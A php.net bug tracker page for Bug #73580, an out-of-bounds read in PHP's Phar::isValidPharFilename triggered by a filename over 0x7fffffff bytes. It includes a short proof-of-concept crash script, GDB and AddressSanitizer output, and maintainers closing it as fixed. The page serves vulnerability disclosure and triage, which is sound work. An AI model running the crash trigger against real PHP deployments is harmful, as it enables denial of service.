php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73580 Phar::isValidPharFilename illegal memory access
Submitted: 2016-11-22 15:11 UTC Modified: 2020-12-14 17:41 UTC
From: fernando at null-life dot com Assigned: cmb (profile)
Status: Closed Package: PHAR related
PHP Version: 7.0.13 OS: Linux
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: fernando at null-life dot com
New email:
PHP Version: OS:

 

 [2016-11-22 15:11 UTC] fernando at null-life dot com
Description:
------------
A big phar file name causes multiples illegal memory access, in memchr funcion, when filename length is bigger than 0x7fffffff inside the isValidPharFilename  method.

Source code:
https://github.com/php/php-src/blob/master/ext/phar/phar.c#L1887

int phar_detect_phar_fname_ext(const char *filename, int filename_len, const char **ext_str, int *ext_len, int executable, int for_create, int is_complete) /* {{{ */
{
        const char *pos, *slash;

        *ext_str = NULL;
        *ext_len = 0;

        if (!filename_len || filename_len == 1) {
                return FAILURE;
        }

        phar_request_initialize();
        /* first check for alias in first segment */
        pos = memchr(filename, '/', filename_len);              // Illegal access
...
        pos = memchr(filename + 1, '.', filename_len);          // Illegal access
next_extension:
        if (!pos) {
                return FAILURE;
        }

        while (pos != filename && (*(pos - 1) == '/' || *(pos - 1) == '\0')) {
                pos = memchr(pos + 1, '.', filename_len - (pos - filename) + 1); // Illegal access
                if (!pos) {
                        return FAILURE;
                }
        }

        slash = memchr(pos, '/', filename_len - (pos - filename));



GDB output:

USE_ZEND_ALLOC=1 gdb -q --args /home/operac/build5/bin/php -n poc.php
Reading symbols from /home/operac/build5/bin/php...done.
(gdb) b phar_detect_phar_fname_ext
Breakpoint 1 at 0x937018: file /home/operac/build5/php-src/ext/phar/phar.c, line 1898.
(gdb) r
Starting program: /home/operac/build5/bin/php -n poc.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, phar_detect_phar_fname_ext (filename=0x7ffeeec00018 '/' <repeats 200 times>..., filename_len=-1, ext_str=0x7fffffffa450, ext_len=0x7fffffffa3d0, executable=1, for_create=2, is_complete=1) // Type confusion en filename_len
    at /home/operac/build5/php-src/ext/phar/phar.c:1898
1898    {
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
memchr () at ../sysdeps/x86_64/memchr.S:154
154     ../sysdeps/x86_64/memchr.S: No such file or directory.
(gdb)







Test script:
---------------
<?php

ini_set('memory_limit', -1);

$v1=str_repeat('/', 0xffffffff);
Phar::isValidPharFilename($v1);

Expected result:
----------------
No crash / false

Actual result:
--------------
/home/operac/build5/bin/php -n poc.php

ASAN:SIGSEGV
=================================================================
==12708==ERROR: AddressSanitizer: SEGV on unknown address 0x7f747a401000 (pc 0x7f7480177e4a bp 0x7fffda7a0f90 sp 0x7fffda7a0718 T0)
    #0 0x7f7480177e49 in memchr (/lib/x86_64-linux-gnu/libc.so.6+0x8de49)
    #1 0x7f748266386b  (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x3e86b)
    #2 0x937ca0 in phar_detect_phar_fname_ext /home/operac/build5/php-src/ext/phar/phar.c:2004
    #3 0x94a78d in zim_Phar_isValidPharFilename /home/operac/build5/php-src/ext/phar/phar_object.c:1070
    #4 0xf29b1b in ZEND_DO_FCALL_SPEC_HANDLER /home/operac/build5/php-src/Zend/zend_vm_execute.h:842
    #5 0xf26872 in execute_ex /home/operac/build5/php-src/Zend/zend_vm_execute.h:414
    #6 0xf26aed in zend_execute /home/operac/build5/php-src/Zend/zend_vm_execute.h:458
    #7 0xe49c66 in zend_execute_scripts /home/operac/build5/php-src/Zend/zend.c:1427
    #8 0xd0b9d8 in php_execute_script /home/operac/build5/php-src/main/main.c:2494
    #9 0x1058a1c in do_cli /home/operac/build5/php-src/sapi/cli/php_cli.c:974
    #10 0x105a82c in main /home/operac/build5/php-src/sapi/cli/php_cli.c:1344
    #11 0x7f748010a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #12 0x430a88 in _start (/home/operac/build5/bin/php+0x430a88)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:0 memchr
==12708==ABORTING

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-11-26 02:59 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-12-03 18:03 UTC] fernando at null-life dot com
This seems to have been fixed by this commit, right?

https://github.com/php/php-src/commit/fe994fd9a471fbaa3fef39567942e8de6ae1aba7
 [2020-12-14 17:41 UTC] cmb@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: cmb
 [2020-12-14 17:41 UTC] cmb@php.net
> This seems to have been fixed by this commit, right?

Indeed!
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 14:01:29 2024 UTC